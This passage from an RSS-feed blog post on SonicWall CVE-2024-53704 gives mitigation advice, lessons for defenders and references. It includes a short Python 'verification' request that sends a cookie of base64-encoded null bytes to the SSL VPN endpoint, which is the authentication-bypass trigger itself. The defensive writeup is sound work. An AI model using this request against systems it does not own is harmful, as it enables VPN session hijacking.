  &lt;li&gt;&lt;strong&gt;Enable Enhanced Logging:&lt;/strong&gt; Configure detailed session tracking to improve future forensic capability.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Conduct Internal Threat Hunt:&lt;/strong&gt; Look for indicators of compromise on systems accessed via SSL VPN during vulnerability window.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Verification After Mitigation:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Test that mitigations are working:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Verification test (safe to run against your own systems)
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;resp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;https://your-firewall:4433/cgi-bin/sslvpnclient?launchplatform=&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cookies&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;swap&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()},&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Patched systems: connection closes with no response or 403/401
# Vulnerable systems: HTTP 200 with session details
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you receive an HTTP 200 response with session information, you’re still vulnerable.&lt;/p&gt;

&lt;h2 id=&quot;closing-assessment&quot;&gt;Closing Assessment&lt;/h2&gt;

&lt;p&gt;CVE-2024-53704 represents everything that makes perimeter vulnerabilities particularly dangerous: trivial exploitation, complete authentication bypass, MFA bypass, and near-zero forensic artifacts. The technical root cause is a single missing else clause in a string comparison loop. The operational impact is total compromise of SSL VPN perimeter security.&lt;/p&gt;

&lt;p&gt;This vulnerability is a forcing function. It exposes uncomfortable truths about how we defend remote access infrastructure:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;On Detection:&lt;/strong&gt; Our logging and monitoring strategies are built around the assumption that authentication boundaries hold. When a vulnerability bypasses authentication entirely, most detection strategies fail because they’re looking for anomalies in the authentication process, not the absence of authentication. This vulnerability operates in a blind spot between the authentication layer and the application layer, where session management happens but comprehensive logging doesn’t.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;On Forensics:&lt;/strong&gt; Post-incident investigation of this vulnerability is nearly impossible with standard logging configurations. You can’t determine when hijacking occurred, you can’t distinguish attacker activity from legitimate user activity within the hijacked session, and you can’t reliably scope the compromise without assuming worst-case. The only reliable indicator is users reporting weird behavior, which is not what we’d call “actionable threat intelligence.”&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;On Remediation:&lt;/strong&gt; The only real defense is patching immediately when vendors disclose critical authentication bypass vulnerabilities. The one-month window between SonicWall’s January disclosure and Bishop Fox’s February POC publication was generous by responsible disclosure standards. Organizations that didn’t use that window effectively are now dealing with active exploitation. The 4,500+ unpatched systems identified in early February became targets within hours of the POC going public.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lessons for Defenders:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Authentication bypass vulnerabilities in perimeter devices are patch-immediately scenarios.&lt;/strong&gt; This isn’t “patch within 30 days per policy.” This is “patch this week.”&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Default logging configurations are designed for normal operations, not incident response.&lt;/strong&gt; If you’re running SSL VPN infrastructure, configure logging that would actually help you investigate a breach.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Detection strategies need to account for authentication bypass scenarios.&lt;/strong&gt; Looking for failed logins won’t catch attackers who never attempt to login.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;The gap between vulnerability disclosure and POC publication is your patching window.&lt;/strong&gt; Use it. Don’t wait for “convenient maintenance windows” for critical security updates.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Forensic limitations should inform incident response plans.&lt;/strong&gt; When you can’t reliably determine if you were compromised, your incident response plan needs to account for that uncertainty.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Final Thought:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The thing about authentication bypass vulnerabilities is they eliminate all the security controls that come after authentication. Multi-factor authentication, password policies, account lockout mechanisms, authentication logging, none of it matters when the attacker never has to authenticate. CVE-2024-53704 is a reminder that security boundaries are only as strong as their implementation. A single missing else clause, 32 null bytes, and the entire perimeter falls.&lt;/p&gt;

&lt;p&gt;Patch your systems. Check your logs. Hunt for threats. Don’t wait for the breach notification.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0003&quot;&gt;SonicWall Security Advisory SNWLID-2025-0003&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.zerodayinitiative.com/advisories/ZDI-25-012/&quot;&gt;ZDI Advisory ZDI-25-012&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bishopfox.com/blog/sonicwall-cve-2024-53704-ssl-vpn-session-hijacking&quot;&gt;Bishop Fox Technical Analysis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://arcticwolf.com/resources/blog/cve-2024-53704/&quot;&gt;Arctic Wolf Threat Intelligence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://attackerkb.com/topics/UB3P3xHVAo/cve-2024-53704&quot;&gt;AttackerKB Assessment&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-53704.yaml&quot;&gt;Nuclei Detection Template&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Mon, 05 Jan 2026 00:00:00 +0000</pubDate>
        <link>https://danielgott.me/2026/01/05/sonicwall_cve2024-53704/</link>
        <guid isPermaLink="true">https://danielgott.me/2026/01/05/sonicwall_cve2024-53704/</guid>
        
        <category>CVE-2024-53704</category>
        
        <category>sonicwall</category>
        
        <category>forensics</category>
        
        <category>vulnerability</category>
        
      </item>
    
  </channel>
</rss>
